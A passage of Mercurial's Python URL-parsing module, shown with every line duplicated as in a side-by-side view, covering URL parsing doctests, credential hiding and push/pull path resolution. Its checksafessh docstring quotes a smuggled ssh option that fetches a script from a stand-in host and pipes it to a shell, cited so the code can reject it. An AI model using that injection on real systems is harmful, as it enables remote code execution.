80 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
81 >>> url(b'ssh://[::1]:2200//home/joe/repo')
82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
82 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
83 >>> url(b'file:///home/joe/repo')
83 >>> url(b'file:///home/joe/repo')
84 <url scheme: 'file', path: '/home/joe/repo'>
84 <url scheme: 'file', path: '/home/joe/repo'>
85 >>> url(b'file:///c:/temp/foo/')
85 >>> url(b'file:///c:/temp/foo/')
86 <url scheme: 'file', path: 'c:/temp/foo/'>
86 <url scheme: 'file', path: 'c:/temp/foo/'>
87 >>> url(b'bundle:foo')
87 >>> url(b'bundle:foo')
88 <url scheme: 'bundle', path: 'foo'>
88 <url scheme: 'bundle', path: 'foo'>
89 >>> url(b'bundle://../foo')
89 >>> url(b'bundle://../foo')
90 <url scheme: 'bundle', path: '../foo'>
90 <url scheme: 'bundle', path: '../foo'>
91 >>> url(br'c:\foo\bar')
91 >>> url(br'c:\foo\bar')
92 <url path: 'c:\\foo\\bar'>
92 <url path: 'c:\\foo\\bar'>
93 >>> url(br'\\blah\blah\blah')
93 >>> url(br'\\blah\blah\blah')
94 <url path: '\\\\blah\\blah\\blah'>
94 <url path: '\\\\blah\\blah\\blah'>
95 >>> url(br'\\blah\blah\blah#baz')
95 >>> url(br'\\blah\blah\blah#baz')
96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
96 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
97 >>> url(br'file:///C:\users\me')
97 >>> url(br'file:///C:\users\me')
98 <url scheme: 'file', path: 'C:\\users\\me'>
98 <url scheme: 'file', path: 'C:\\users\\me'>
99
99
100 Authentication credentials:
100 Authentication credentials:
101
101
102 >>> url(b'ssh://joe:xyz@x/repo')
102 >>> url(b'ssh://joe:xyz@x/repo')
103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
103 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
104 >>> url(b'ssh://joe@x/repo')
104 >>> url(b'ssh://joe@x/repo')
105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
105 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
106
106
107 Query strings and fragments:
107 Query strings and fragments:
108
108
109 >>> url(b'http://host/a?b#c')
109 >>> url(b'http://host/a?b#c')
110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
110 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
111 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
112 <url scheme: 'http', host: 'host', path: 'a?b#c'>
113
113
114 Empty path:
114 Empty path:
115
115
116 >>> url(b'')
116 >>> url(b'')
117 <url path: ''>
117 <url path: ''>
118 >>> url(b'#a')
118 >>> url(b'#a')
119 <url path: '', fragment: 'a'>
119 <url path: '', fragment: 'a'>
120 >>> url(b'http://host/')
120 >>> url(b'http://host/')
121 <url scheme: 'http', host: 'host', path: ''>
121 <url scheme: 'http', host: 'host', path: ''>
122 >>> url(b'http://host/#a')
122 >>> url(b'http://host/#a')
123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
123 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
124
124
125 Only scheme:
125 Only scheme:
126
126
127 >>> url(b'http:')
127 >>> url(b'http:')
128 <url scheme: 'http'>
128 <url scheme: 'http'>
129 """
129 """
130
130
131 _safechars = b"!~*'()+"
131 _safechars = b"!~*'()+"
132 _safepchars = b"/!~*'()+:\\"
132 _safepchars = b"/!~*'()+:\\"
133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
133 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
134
134
135 def __init__(self, path, parsequery=True, parsefragment=True):
135 def __init__(self, path, parsequery=True, parsefragment=True):
136 # type: (bytes, bool, bool) -> None
136 # type: (bytes, bool, bool) -> None
137 # We slowly chomp away at path until we have only the path left
137 # We slowly chomp away at path until we have only the path left
138 self.scheme = self.user = self.passwd = self.host = None
138 self.scheme = self.user = self.passwd = self.host = None
139 self.port = self.path = self.query = self.fragment = None
139 self.port = self.path = self.query = self.fragment = None
140 self._localpath = True
140 self._localpath = True
141 self._hostport = b''
141 self._hostport = b''
142 self._origpath = path
142 self._origpath = path
143
143
144 if parsefragment and b'#' in path:
144 if parsefragment and b'#' in path:
145 path, self.fragment = path.split(b'#', 1)
145 path, self.fragment = path.split(b'#', 1)
146
146
147 # special case for Windows drive letters and UNC paths
147 # special case for Windows drive letters and UNC paths
148 if hasdriveletter(path) or path.startswith(b'\\\\'):
148 if hasdriveletter(path) or path.startswith(b'\\\\'):
149 self.path = path
149 self.path = path
150 return
150 return
151
151
152 # For compatibility reasons, we can't handle bundle paths as
152 # For compatibility reasons, we can't handle bundle paths as
153 # normal URLS
153 # normal URLS
154 if path.startswith(b'bundle:'):
154 if path.startswith(b'bundle:'):
155 self.scheme = b'bundle'
155 self.scheme = b'bundle'
156 path = path[7:]
156 path = path[7:]
157 if path.startswith(b'//'):
157 if path.startswith(b'//'):
158 path = path[2:]
158 path = path[2:]
159 self.path = path
159 self.path = path
160 return
160 return
161
161
162 if self._matchscheme(path):
162 if self._matchscheme(path):
163 parts = path.split(b':', 1)
163 parts = path.split(b':', 1)
164 if parts[0]:
164 if parts[0]:
165 self.scheme, path = parts
165 self.scheme, path = parts
166 self._localpath = False
166 self._localpath = False
167
167
168 if not path:
168 if not path:
169 path = None
169 path = None
170 if self._localpath:
170 if self._localpath:
171 self.path = b''
171 self.path = b''
172 return
172 return
173 else:
173 else:
174 if self._localpath:
174 if self._localpath:
175 self.path = path
175 self.path = path
176 return
176 return
177
177
178 if parsequery and b'?' in path:
178 if parsequery and b'?' in path:
179 path, self.query = path.split(b'?', 1)
179 path, self.query = path.split(b'?', 1)
180 if not path:
180 if not path:
181 path = None
181 path = None
182 if not self.query:
182 if not self.query:
183 self.query = None
183 self.query = None
184
184
185 # // is required to specify a host/authority
185 # // is required to specify a host/authority
186 if path and path.startswith(b'//'):
186 if path and path.startswith(b'//'):
187 parts = path[2:].split(b'/', 1)
187 parts = path[2:].split(b'/', 1)
188 if len(parts) > 1:
188 if len(parts) > 1:
189 self.host, path = parts
189 self.host, path = parts
190 else:
190 else:
191 self.host = parts[0]
191 self.host = parts[0]
192 path = None
192 path = None
193 if not self.host:
193 if not self.host:
194 self.host = None
194 self.host = None
195 # path of file:///d is /d
195 # path of file:///d is /d
196 # path of file:///d:/ is d:/, not /d:/
196 # path of file:///d:/ is d:/, not /d:/
197 if path and not hasdriveletter(path):
197 if path and not hasdriveletter(path):
198 path = b'/' + path
198 path = b'/' + path
199
199
200 if self.host and b'@' in self.host:
200 if self.host and b'@' in self.host:
201 self.user, self.host = self.host.rsplit(b'@', 1)
201 self.user, self.host = self.host.rsplit(b'@', 1)
202 if b':' in self.user:
202 if b':' in self.user:
203 self.user, self.passwd = self.user.split(b':', 1)
203 self.user, self.passwd = self.user.split(b':', 1)
204 if not self.host:
204 if not self.host:
205 self.host = None
205 self.host = None
206
206
207 # Don't split on colons in IPv6 addresses without ports
207 # Don't split on colons in IPv6 addresses without ports
208 if (
208 if (
209 self.host
209 self.host
210 and b':' in self.host
210 and b':' in self.host
211 and not (
211 and not (
212 self.host.startswith(b'[') and self.host.endswith(b']')
212 self.host.startswith(b'[') and self.host.endswith(b']')
213 )
213 )
214 ):
214 ):
215 self._hostport = self.host
215 self._hostport = self.host
216 self.host, self.port = self.host.rsplit(b':', 1)
216 self.host, self.port = self.host.rsplit(b':', 1)
217 if not self.host:
217 if not self.host:
218 self.host = None
218 self.host = None
219
219
220 if (
220 if (
221 self.host
221 self.host
222 and self.scheme == b'file'
222 and self.scheme == b'file'
223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
223 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
224 ):
224 ):
225 raise error.Abort(
225 raise error.Abort(
226 _(b'file:// URLs can only refer to localhost')
226 _(b'file:// URLs can only refer to localhost')
227 )
227 )
228
228
229 self.path = path
229 self.path = path
230
230
231 # leave the query string escaped
231 # leave the query string escaped
232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
232 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
233 v = getattr(self, a)
233 v = getattr(self, a)
234 if v is not None:
234 if v is not None:
235 setattr(self, a, urlreq.unquote(v))
235 setattr(self, a, urlreq.unquote(v))
236
236
237 def copy(self):
237 def copy(self):
238 u = url(b'temporary useless value')
238 u = url(b'temporary useless value')
239 u.path = self.path
239 u.path = self.path
240 u.scheme = self.scheme
240 u.scheme = self.scheme
241 u.user = self.user
241 u.user = self.user
242 u.passwd = self.passwd
242 u.passwd = self.passwd
243 u.host = self.host
243 u.host = self.host
244 u.path = self.path
244 u.path = self.path
245 u.query = self.query
245 u.query = self.query
246 u.fragment = self.fragment
246 u.fragment = self.fragment
247 u._localpath = self._localpath
247 u._localpath = self._localpath
248 u._hostport = self._hostport
248 u._hostport = self._hostport
249 u._origpath = self._origpath
249 u._origpath = self._origpath
250 return u
250 return u
251
251
252 @encoding.strmethod
252 @encoding.strmethod
253 def __repr__(self):
253 def __repr__(self):
254 attrs = []
254 attrs = []
255 for a in (
255 for a in (
256 b'scheme',
256 b'scheme',
257 b'user',
257 b'user',
258 b'passwd',
258 b'passwd',
259 b'host',
259 b'host',
260 b'port',
260 b'port',
261 b'path',
261 b'path',
262 b'query',
262 b'query',
263 b'fragment',
263 b'fragment',
264 ):
264 ):
265 v = getattr(self, a)
265 v = getattr(self, a)
266 if v is not None:
266 if v is not None:
267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
267 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
268 return b'<url %s>' % b', '.join(attrs)
268 return b'<url %s>' % b', '.join(attrs)
269
269
270 def __bytes__(self):
270 def __bytes__(self):
271 r"""Join the URL's components back into a URL string.
271 r"""Join the URL's components back into a URL string.
272
272
273 Examples:
273 Examples:
274
274
275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
275 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
276 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
277 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
278 'http://user:pw@host:80/?foo=bar&baz=42'
278 'http://user:pw@host:80/?foo=bar&baz=42'
279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
279 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
280 'http://user:pw@host:80/?foo=bar%3dbaz'
280 'http://user:pw@host:80/?foo=bar%3dbaz'
281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
281 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
282 'ssh://user:pw@[::1]:2200//home/joe#'
282 'ssh://user:pw@[::1]:2200//home/joe#'
283 >>> bytes(url(b'http://localhost:80//'))
283 >>> bytes(url(b'http://localhost:80//'))
284 'http://localhost:80//'
284 'http://localhost:80//'
285 >>> bytes(url(b'http://localhost:80/'))
285 >>> bytes(url(b'http://localhost:80/'))
286 'http://localhost:80/'
286 'http://localhost:80/'
287 >>> bytes(url(b'http://localhost:80'))
287 >>> bytes(url(b'http://localhost:80'))
288 'http://localhost:80/'
288 'http://localhost:80/'
289 >>> bytes(url(b'bundle:foo'))
289 >>> bytes(url(b'bundle:foo'))
290 'bundle:foo'
290 'bundle:foo'
291 >>> bytes(url(b'bundle://../foo'))
291 >>> bytes(url(b'bundle://../foo'))
292 'bundle:../foo'
292 'bundle:../foo'
293 >>> bytes(url(b'path'))
293 >>> bytes(url(b'path'))
294 'path'
294 'path'
295 >>> bytes(url(b'file:///tmp/foo/bar'))
295 >>> bytes(url(b'file:///tmp/foo/bar'))
296 'file:///tmp/foo/bar'
296 'file:///tmp/foo/bar'
297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
297 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
298 'file:///c:/tmp/foo/bar'
298 'file:///c:/tmp/foo/bar'
299 >>> print(url(br'bundle:foo\bar'))
299 >>> print(url(br'bundle:foo\bar'))
300 bundle:foo\bar
300 bundle:foo\bar
301 >>> print(url(br'file:///D:\data\hg'))
301 >>> print(url(br'file:///D:\data\hg'))
302 file:///D:\data\hg
302 file:///D:\data\hg
303 """
303 """
304 if self._localpath:
304 if self._localpath:
305 s = self.path
305 s = self.path
306 if self.scheme == b'bundle':
306 if self.scheme == b'bundle':
307 s = b'bundle:' + s
307 s = b'bundle:' + s
308 if self.fragment:
308 if self.fragment:
309 s += b'#' + self.fragment
309 s += b'#' + self.fragment
310 return s
310 return s
311
311
312 s = self.scheme + b':'
312 s = self.scheme + b':'
313 if self.user or self.passwd or self.host:
313 if self.user or self.passwd or self.host:
314 s += b'//'
314 s += b'//'
315 elif self.scheme and (
315 elif self.scheme and (
316 not self.path
316 not self.path
317 or self.path.startswith(b'/')
317 or self.path.startswith(b'/')
318 or hasdriveletter(self.path)
318 or hasdriveletter(self.path)
319 ):
319 ):
320 s += b'//'
320 s += b'//'
321 if hasdriveletter(self.path):
321 if hasdriveletter(self.path):
322 s += b'/'
322 s += b'/'
323 if self.user:
323 if self.user:
324 s += urlreq.quote(self.user, safe=self._safechars)
324 s += urlreq.quote(self.user, safe=self._safechars)
325 if self.passwd:
325 if self.passwd:
326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
326 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
327 if self.user or self.passwd:
327 if self.user or self.passwd:
328 s += b'@'
328 s += b'@'
329 if self.host:
329 if self.host:
330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
330 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
331 s += urlreq.quote(self.host)
331 s += urlreq.quote(self.host)
332 else:
332 else:
333 s += self.host
333 s += self.host
334 if self.port:
334 if self.port:
335 s += b':' + urlreq.quote(self.port)
335 s += b':' + urlreq.quote(self.port)
336 if self.host:
336 if self.host:
337 s += b'/'
337 s += b'/'
338 if self.path:
338 if self.path:
339 # TODO: similar to the query string, we should not unescape the
339 # TODO: similar to the query string, we should not unescape the
340 # path when we store it, the path might contain '%2f' = '/',
340 # path when we store it, the path might contain '%2f' = '/',
341 # which we should *not* escape.
341 # which we should *not* escape.
342 s += urlreq.quote(self.path, safe=self._safepchars)
342 s += urlreq.quote(self.path, safe=self._safepchars)
343 if self.query:
343 if self.query:
344 # we store the query in escaped form.
344 # we store the query in escaped form.
345 s += b'?' + self.query
345 s += b'?' + self.query
346 if self.fragment is not None:
346 if self.fragment is not None:
347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
347 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
348 return s
348 return s
349
349
350 __str__ = encoding.strmethod(__bytes__)
350 __str__ = encoding.strmethod(__bytes__)
351
351
352 def authinfo(self):
352 def authinfo(self):
353 user, passwd = self.user, self.passwd
353 user, passwd = self.user, self.passwd
354 try:
354 try:
355 self.user, self.passwd = None, None
355 self.user, self.passwd = None, None
356 s = bytes(self)
356 s = bytes(self)
357 finally:
357 finally:
358 self.user, self.passwd = user, passwd
358 self.user, self.passwd = user, passwd
359 if not self.user:
359 if not self.user:
360 return (s, None)
360 return (s, None)
361 # authinfo[1] is passed to urllib2 password manager, and its
361 # authinfo[1] is passed to urllib2 password manager, and its
362 # URIs must not contain credentials. The host is passed in the
362 # URIs must not contain credentials. The host is passed in the
363 # URIs list because Python < 2.4.3 uses only that to search for
363 # URIs list because Python < 2.4.3 uses only that to search for
364 # a password.
364 # a password.
365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
365 return (s, (None, (s, self.host), self.user, self.passwd or b''))
366
366
367 def isabs(self):
367 def isabs(self):
368 if self.scheme and self.scheme != b'file':
368 if self.scheme and self.scheme != b'file':
369 return True # remote URL
369 return True # remote URL
370 if hasdriveletter(self.path):
370 if hasdriveletter(self.path):
371 return True # absolute for our purposes - can't be joined()
371 return True # absolute for our purposes - can't be joined()
372 if self.path.startswith(br'\\'):
372 if self.path.startswith(br'\\'):
373 return True # Windows UNC path
373 return True # Windows UNC path
374 if self.path.startswith(b'/'):
374 if self.path.startswith(b'/'):
375 return True # POSIX-style
375 return True # POSIX-style
376 return False
376 return False
377
377
378 def localpath(self):
378 def localpath(self):
379 # type: () -> bytes
379 # type: () -> bytes
380 if self.scheme == b'file' or self.scheme == b'bundle':
380 if self.scheme == b'file' or self.scheme == b'bundle':
381 path = self.path or b'/'
381 path = self.path or b'/'
382 # For Windows, we need to promote hosts containing drive
382 # For Windows, we need to promote hosts containing drive
383 # letters to paths with drive letters.
383 # letters to paths with drive letters.
384 if hasdriveletter(self._hostport):
384 if hasdriveletter(self._hostport):
385 path = self._hostport + b'/' + self.path
385 path = self._hostport + b'/' + self.path
386 elif (
386 elif (
387 self.host is not None and self.path and not hasdriveletter(path)
387 self.host is not None and self.path and not hasdriveletter(path)
388 ):
388 ):
389 path = b'/' + path
389 path = b'/' + path
390 return path
390 return path
391 return self._origpath
391 return self._origpath
392
392
393 def islocal(self):
393 def islocal(self):
394 '''whether localpath will return something that posixfile can open'''
394 '''whether localpath will return something that posixfile can open'''
395 return (
395 return (
396 not self.scheme
396 not self.scheme
397 or self.scheme == b'file'
397 or self.scheme == b'file'
398 or self.scheme == b'bundle'
398 or self.scheme == b'bundle'
399 )
399 )
400
400
401
401
402 def hasscheme(path):
402 def hasscheme(path):
403 # type: (bytes) -> bool
403 # type: (bytes) -> bool
404 return bool(url(path).scheme) # cast to help pytype
404 return bool(url(path).scheme) # cast to help pytype
405
405
406
406
407 def hasdriveletter(path):
407 def hasdriveletter(path):
408 # type: (bytes) -> bool
408 # type: (bytes) -> bool
409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
409 return bool(path) and path[1:2] == b':' and path[0:1].isalpha()
410
410
411
411
412 def urllocalpath(path):
412 def urllocalpath(path):
413 # type: (bytes) -> bytes
413 # type: (bytes) -> bytes
414 return url(path, parsequery=False, parsefragment=False).localpath()
414 return url(path, parsequery=False, parsefragment=False).localpath()
415
415
416
416
417 def checksafessh(path):
417 def checksafessh(path):
418 # type: (bytes) -> None
418 # type: (bytes) -> None
419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
419 """check if a path / url is a potentially unsafe ssh exploit (SEC)
420
420
421 This is a sanity check for ssh urls. ssh will parse the first item as
421 This is a sanity check for ssh urls. ssh will parse the first item as
422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
422 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
423 Let's prevent these potentially exploited urls entirely and warn the
423 Let's prevent these potentially exploited urls entirely and warn the
424 user.
424 user.
425
425
426 Raises an error.Abort when the url is unsafe.
426 Raises an error.Abort when the url is unsafe.
427 """
427 """
428 path = urlreq.unquote(path)
428 path = urlreq.unquote(path)
429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
429 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
430 raise error.Abort(
430 raise error.Abort(
431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
431 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
432 )
432 )
433
433
434
434
435 def hidepassword(u):
435 def hidepassword(u):
436 # type: (bytes) -> bytes
436 # type: (bytes) -> bytes
437 '''hide user credential in a url string'''
437 '''hide user credential in a url string'''
438 u = url(u)
438 u = url(u)
439 if u.passwd:
439 if u.passwd:
440 u.passwd = b'***'
440 u.passwd = b'***'
441 return bytes(u)
441 return bytes(u)
442
442
443
443
444 def removeauth(u):
444 def removeauth(u):
445 # type: (bytes) -> bytes
445 # type: (bytes) -> bytes
446 '''remove all authentication information from a url string'''
446 '''remove all authentication information from a url string'''
447 u = url(u)
447 u = url(u)
448 u.user = u.passwd = None
448 u.user = u.passwd = None
449 return bytes(u)
449 return bytes(u)
450
450
451
451
452 def list_paths(ui, target_path=None):
452 def list_paths(ui, target_path=None):
453 """list all the (name, paths) in the passed ui"""
453 """list all the (name, paths) in the passed ui"""
454 result = []
454 result = []
455 if target_path is None:
455 if target_path is None:
456 for name, paths in sorted(pycompat.iteritems(ui.paths)):
456 for name, paths in sorted(pycompat.iteritems(ui.paths)):
457 for p in paths:
457 for p in paths:
458 result.append((name, p))
458 result.append((name, p))
459
459
460 else:
460 else:
461 for path in ui.paths.get(target_path, []):
461 for path in ui.paths.get(target_path, []):
462 result.append((target_path, path))
462 result.append((target_path, path))
463 return result
463 return result
464
464
465
465
466 def try_path(ui, url):
466 def try_path(ui, url):
467 """try to build a path from a url
467 """try to build a path from a url
468
468
469 Return None if no Path could built.
469 Return None if no Path could built.
470 """
470 """
471 try:
471 try:
472 # we pass the ui instance are warning might need to be issued
472 # we pass the ui instance are warning might need to be issued
473 return path(ui, None, rawloc=url)
473 return path(ui, None, rawloc=url)
474 except ValueError:
474 except ValueError:
475 return None
475 return None
476
476
477
477
478 def get_push_paths(repo, ui, dests):
478 def get_push_paths(repo, ui, dests):
479 """yields all the `path` selected as push destination by `dests`"""
479 """yields all the `path` selected as push destination by `dests`"""
480 if not dests:
480 if not dests:
481 if b'default-push' in ui.paths:
481 if b'default-push' in ui.paths:
482 for p in ui.paths[b'default-push']:
482 for p in ui.paths[b'default-push']:
483 yield p
483 yield p
484 elif b'default' in ui.paths:
484 elif b'default' in ui.paths:
485 for p in ui.paths[b'default']:
485 for p in ui.paths[b'default']:
486 yield p
486 yield p
487 else:
487 else:
488 raise error.ConfigError(
488 raise error.ConfigError(
489 _(b'default repository not configured!'),
489 _(b'default repository not configured!'),
490 hint=_(b"see 'hg help config.paths'"),
490 hint=_(b"see 'hg help config.paths'"),
491 )
491 )
492 else:
492 else:
493 for dest in dests:
493 for dest in dests:
494 if dest in ui.paths:
494 if dest in ui.paths:
495 for p in ui.paths[dest]:
495 for p in ui.paths[dest]:
496 yield p
496 yield p
497 else:
497 else:
498 path = try_path(ui, dest)
498 path = try_path(ui, dest)
499 if path is None:
499 if path is None:
500 msg = _(b'repository %s does not exist')
500 msg = _(b'repository %s does not exist')
501 msg %= dest
501 msg %= dest
502 raise error.RepoError(msg)
502 raise error.RepoError(msg)
503 yield path
503 yield path
504
504
505
505
506 def get_pull_paths(repo, ui, sources):
506 def get_pull_paths(repo, ui, sources):
507 """yields all the `(path, branch)` selected as pull source by `sources`"""
507 """yields all the `(path, branch)` selected as pull source by `sources`"""
508 if not sources:
508 if not sources:
509 sources = [b'default']
509 sources = [b'default']
510 for source in sources:
510 for source in sources:
511 if source in ui.paths:
511 if source in ui.paths:
512 for p in ui.paths[source]:
512 for p in ui.paths[source]:
513 yield p
513 yield p
514 else:
514 else:
515 p = path(ui, None, source, validate_path=False)
515 p = path(ui, None, source, validate_path=False)
516 yield p
516 yield p
517
517
518
518
519 def get_unique_push_path(action, repo, ui, dest=None):
519 def get_unique_push_path(action, repo, ui, dest=None):
520 """return a unique `path` or abort if multiple are found
520 """return a unique `path` or abort if multiple are found
521
521
522 This is useful for command and action that does not support multiple
522 This is useful for command and action that does not support multiple
523 destination (yet).
523 destination (yet).
524
524
525 Note that for now, we cannot get multiple destination so this function is "trivial".
525 Note that for now, we cannot get multiple destination so this function is "trivial".
526
526
527 The `action` parameter will be used for the error message.
527 The `action` parameter will be used for the error message.
528 """
528 """
529 if dest is None:
529 if dest is None:
530 dests = []
530 dests = []
531 else:
531 else:
532 dests = [dest]
532 dests = [dest]
533 dests = list(get_push_paths(repo, ui, dests))
533 dests = list(get_push_paths(repo, ui, dests))
534 if len(dests) != 1:
534 if len(dests) != 1:
535 if dest is None:
535 if dest is None:
536 msg = _(
536 msg = _(
537 b"default path points to %d urls while %s only supports one"
537 b"default path points to %d urls while %s only supports one"
538 )
538 )
539 msg %= (len(dests), action)
539 msg %= (len(dests), action)
540 else:
540 else:
541 msg = _(b"path points to %d urls while %s only supports one: %s")
541 msg = _(b"path points to %d urls while %s only supports one: %s")
542 msg %= (len(dests), action, dest)
542 msg %= (len(dests), action, dest)
543 raise error.Abort(msg)
543 raise error.Abort(msg)
544 return dests[0]
544 return dests[0]
545
545
546
546
547 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
547 def get_unique_pull_path(action, repo, ui, source=None, default_branches=()):
548 """return a unique `(path, branch)` or abort if multiple are found
548 """return a unique `(path, branch)` or abort if multiple are found
549
549
550 This is useful for command and action that does not support multiple
550 This is useful for command and action that does not support multiple
551 destination (yet).
551 destination (yet).
552
552
553 Note that for now, we cannot get multiple destination so this function is "trivial".
553 Note that for now, we cannot get multiple destination so this function is "trivial".
554
554
555 The `action` parameter will be used for the error message.
555 The `action` parameter will be used for the error message.
556 """
556 """
557 urls = []
557 urls = []
558 if source is None:
558 if source is None:
559 if b'default' in ui.paths:
559 if b'default' in ui.paths:
560 urls.extend(p.rawloc for p in ui.paths[b'default'])
560 urls.extend(p.rawloc for p in ui.paths[b'default'])
561 else:
561 else:
562 # XXX this is the historical default behavior, but that is not
562 # XXX this is the historical default behavior, but that is not
563 # great, consider breaking BC on this.
563 # great, consider breaking BC on this.
564 urls.append(b'default')
564 urls.append(b'default')
565 else:
565 else:
566 if source in ui.paths:
566 if source in ui.paths:
567 urls.extend(p.rawloc for p in ui.paths[source])
567 urls.extend(p.rawloc for p in ui.paths[source])
568 else:
568 else:
569 # Try to resolve as a local path or URI.
569 # Try to resolve as a local path or URI.
570 path = try_path(ui, source)
570 path = try_path(ui, source)
571 if path is not None:
571 if path is not None:
572 urls.append(path.rawloc)
572 urls.append(path.rawloc)
573 else:
573 else:
574 urls.append(source)
574 urls.append(source)
575 if len(urls) != 1:
575 if len(urls) != 1:
576 if source is None:
576 if source is None:
577 msg = _(
577 msg = _(
578 b"default path points to %d urls while %s only supports one"
578 b"default path points to %d urls while %s only supports one"
579 )
579 )
580 msg %= (len(urls), action)
580 msg %= (len(urls), action)
581 else:
581 else:
582 msg = _(b"path points to %d urls while %s only supports one: %s")
582 msg = _(b"path points to %d urls while %s only supports one: %s")
583 msg %= (len(urls), action, source)
583 msg %= (len(urls), action, source)
584 raise error.Abort(msg)
584 raise error.Abort(msg)
585 return parseurl(urls[0], default_branches)
585 return parseurl(urls[0], default_branches)
586
586
587
587
588 def get_clone_path(ui, source, default_branches=()):
588 def get_clone_path(ui, source, default_branches=()):
589 """return the `(origsource, path, branch)` selected as clone source"""
589 """return the `(origsource, path, branch)` selected as clone source"""
590 urls = []
590 urls = []
591 if source is None:
591 if source is None:
592 if b'default' in ui.paths:
592 if b'default' in ui.paths:
593 urls.extend(p.rawloc for p in ui.paths[b'default'])
593 urls.extend(p.rawloc for p in ui.paths[b'default'])
594 else:
594 else:
595 # XXX this is the historical default behavior, but that is not
595 # XXX this is the historical default behavior, but that is not
596 # great, consider breaking BC on this.
596 # great, consider breaking BC on this.
597 urls.append(b'default')
597 urls.append(b'default')
598 else:
598 else:
599 if source in ui.paths:
599 if source in ui.paths:
600 urls.extend(p.rawloc for p in ui.paths[source])
600 urls.extend(p.rawloc for p in ui.paths[source])
601 else:
601 else:
602 # Try to resolve as a local path or URI.
602 # Try to resolve as a local path or URI.
603 path = try_path(ui, source)
603 path = try_path(ui, source)
604 if path is not None:
604 if path is not None:
605 urls.append(path.rawloc)
605 urls.append(path.rawloc)
606 else:
606 else:
607 urls.append(source)
607 urls.append(source)
608 if len(urls) != 1:
608 if len(urls) != 1:
609 if source is None:
609 if source is None:
610 msg = _(
610 msg = _(
611 b"default path points to %d urls while only one is supported"
611 b"default path points to %d urls while only one is supported"
612 )
612 )
613 msg %= len(urls)
613 msg %= len(urls)
614 else:
614 else:
615 msg = _(b"path points to %d urls while only one is supported: %s")
615 msg = _(b"path points to %d urls while only one is supported: %s")
616 msg %= (len(urls), source)
616 msg %= (len(urls), source)
617 raise error.Abort(msg)
617 raise error.Abort(msg)
618 url = urls[0]
618 url = urls[0]
619 clone_path, branch = parseurl(url, default_branches)
619 clone_path, branch = parseurl(url, default_branches)
620 return url, clone_path, branch
620 return url, clone_path, branch
621
621
622
622
623 def parseurl(path, branches=None):
623 def parseurl(path, branches=None):
624 '''parse url#branch, returning (url, (branch, branches))'''
624 '''parse url#branch, returning (url, (branch, branches))'''
625 u = url(path)
625 u = url(path)
626 branch = None
626 branch = None
627 if u.fragment:
627 if u.fragment:
628 branch = u.fragment
628 branch = u.fragment
629 u.fragment = None
629 u.fragment = None
630 return bytes(u), (branch, branches or [])
630 return bytes(u), (branch, branches or [])
631
631
632
632
633 class paths(dict):
633 class paths(dict):
634 """Represents a collection of paths and their configs.
634 """Represents a collection of paths and their configs.
635
635
636 Data is initially derived from ui instances and the config files they have
636 Data is initially derived from ui instances and the config files they have
637 loaded.
637 loaded.
638 """
638 """
639
639
640 def __init__(self, ui):
640 def __init__(self, ui):
641 dict.__init__(self)
641 dict.__init__(self)
642
642
643 home_path = os.path.expanduser(b'~')
643 home_path = os.path.expanduser(b'~')
644
644
645 for name, value in ui.configitems(b'paths', ignoresub=True):
645 for name, value in ui.configitems(b'paths', ignoresub=True):
646 # No location is the same as not existing.
646 # No location is the same as not existing.
647 if not value:
